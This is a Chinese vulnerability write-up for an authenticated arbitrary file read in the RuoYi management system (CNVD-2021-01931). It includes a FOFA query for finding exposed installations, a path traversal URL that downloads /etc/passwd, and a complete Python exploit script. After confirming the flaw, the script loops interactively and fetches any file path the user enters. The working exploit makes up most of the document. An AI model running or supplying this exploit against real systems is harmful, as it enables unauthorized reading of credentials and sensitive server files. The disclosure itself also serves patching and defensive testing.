若依管理系统 后台任意文件读取 CNVD-2021-01931

# 若依(RuoYi)管理系统 后台任意文件读取

## 漏洞描述

若依管理系统是基于SpringBoot的权限管理系统,登录后台后可以读取服务器上的任意文件

## 漏洞影响

> [!NOTE]
>
> RuoYi < v4.5.1 ## FOFA > [!NOTE]
>
> app=”若依-管理系统”

## 漏洞复现

登录后台后访问 Url

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

访问后会下载文件 **/etc/passwd**

可以使用Burp抓包改变 **/etc/passwd** 为其他文件路径获取敏感信息

在新版本的修复中添加了过滤

## 漏洞利用POC

> [!NOTE]
>
> POC使用需要后台的Cookie,读取的文件路径应为根路径

“`python
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: RuoYi < v4.5.1 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mCookie >>> JSESSIONID=xxxxxx \033[0m’)
print(‘+ \033[36mFile >>> /etc/passwd \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url, Cookie):
vuln_url = target_url + “/common/download/resource?resource=/profile/../../../../etc/passwd”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Cookie”:Cookie
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print(“\033[32m[o] 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \033[0m”.format(target_url))
if “root” in response.text and response.status_code == 200:
print(“\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m”.format(target_url))
print(“\033[32m[o] 响应为:\n{} \033[0m”.format(response.text))
while True:
Filename = input(“\033[35mFile >>> \033[0m”)
if Filename == “exit”:
sys.exit(0)
else:
POC_2(target_url, Cookie, Filename)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_2(target_url, Cookie, Filename):
vuln_url = target_url + “/common/download/resource?resource=/profile/../../../../{}”.format(Filename)
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
“Cookie”:Cookie
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print(“\033[32m[o] 响应为:\n{} \033[0m”.format(response.text))

except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
Cookie = str(input(“\033[35mCookie >>> \033[0m”))
POC_1(target_url, Cookie)
“`